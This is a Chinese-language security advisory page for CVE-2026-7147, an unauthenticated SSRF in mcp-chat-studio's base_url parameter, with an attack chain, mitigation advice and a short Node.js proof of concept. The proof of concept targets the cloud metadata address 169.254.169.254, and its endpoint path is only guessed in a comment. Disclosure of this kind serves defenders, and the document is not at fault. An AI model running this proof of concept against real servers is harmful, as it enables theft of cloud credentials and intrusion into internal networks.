IPBUF安全漏洞报告
English
CVE-2026-7147 CVSS 7.3 高危

CVE-2026-7147 mcp-chat-studio SSRF漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-7147
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
JoeCastrom mcp-chat-studio

相关标签

SSRFmcp-chat-studioCVE-2026-7147Server-Side Request Forgery远程代码执行未授权访问

漏洞概述

JoeCastrom mcp-chat-studio 1.5.0及之前版本存在服务器端请求伪造(SSRF)漏洞。该漏洞源于`server/routes/llm.js`文件中LLM Models API对`req.query.base_url`参数缺乏有效验证。攻击者无需认证即可远程利用此漏洞,通过构造恶意URL诱导服务器向内网发起请求,可能导致敏感信息泄露或服务不可用。目前官方尚未发布修复补丁。

技术细节

该漏洞的根源在于应用程序对用户输入的信任。在`server/routes/llm.js`的路由处理逻辑中,程序直接从HTTP请求的查询字符串中获取`base_url`参数,并将其作为目标地址传递给后端的HTTP请求客户端(如axios或request库)。由于代码层面未对该参数进行严格的格式校验、域名白名单过滤或内网IP地址限制(如禁止访问127.0.0.1或169.254.169.254),攻击者可以控制服务器向任意目标发起请求。攻击者可利用此特性扫描内网端口、访问本地受限服务,或者在云环境下读取实例元数据服务(IMDS)以获取临时凭证,从而横向移动。由于CVSS向量显示攻击复杂度低且无需用户交互,该漏洞极易被自动化工具大规模利用。

攻击链分析

STEP 1
1. 侦察
攻击者识别出运行 JoeCastrom mcp-chat-studio 且版本小于等于 1.5.0 的目标服务器。
STEP 2
2. 构造恶意请求
攻击者向 `server/routes/llm.js` 对应的 API 端点发送 HTTP GET 请求,并在 `req.query.base_url` 参数中注入恶意内网地址(如 http://127.0.0.1:22 或 http://169.254.169.254)。
STEP 3
3. 服务端请求伪造
服务器端接收到请求后,未对 `base_url` 进行过滤,直接向后端发起 HTTP 请求,访问攻击者指定的内部资源。
STEP 4
4. 数据回传与利用
服务器将内部资源的响应数据返回给攻击者,攻击者据此分析内网拓扑、窃取敏感凭证或进一步利用其他漏洞。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-7147 (mcp-chat-studio SSRF) * This script demonstrates how to manipulate the 'base_url' parameter * to force the server to send a request to an internal resource. */ const axios = require('axios'); const target = 'http://vulnerable-target:3000'; // Internal target to check (e.g., AWS metadata or localhost) const internalTarget = 'http://169.254.169.254/latest/meta-data/ami-id'; async function exploit() { try { console.log(`[+] Attempting SSRF against ${target}`); // The vulnerable endpoint is likely /api/llm based on the file path const payloadUrl = `${target}/api/llm`; const response = await axios.get(payloadUrl, { params: { 'base_url': internalTarget }, timeout: 5000 }); if (response.status === 200) { console.log('[+] Request sent successfully.'); console.log('[+] Server response:'); console.log(response.data); } else { console.log('[-] Exploit failed with status:', response.status); } } catch (error) { console.error('[-] Error during exploit:', error.message); } } exploit();

影响范围

JoeCastrom mcp-chat-studio <= 1.5.0

防御指南

临时缓解措施
由于官方尚未响应,建议在反向代理(如Nginx)或WAF层面对请求参数进行拦截,过滤包含内网IP段(如127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)的请求;同时限制应用容器的网络出站权限,阻断其对元数据服务(169.254.169.254)的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表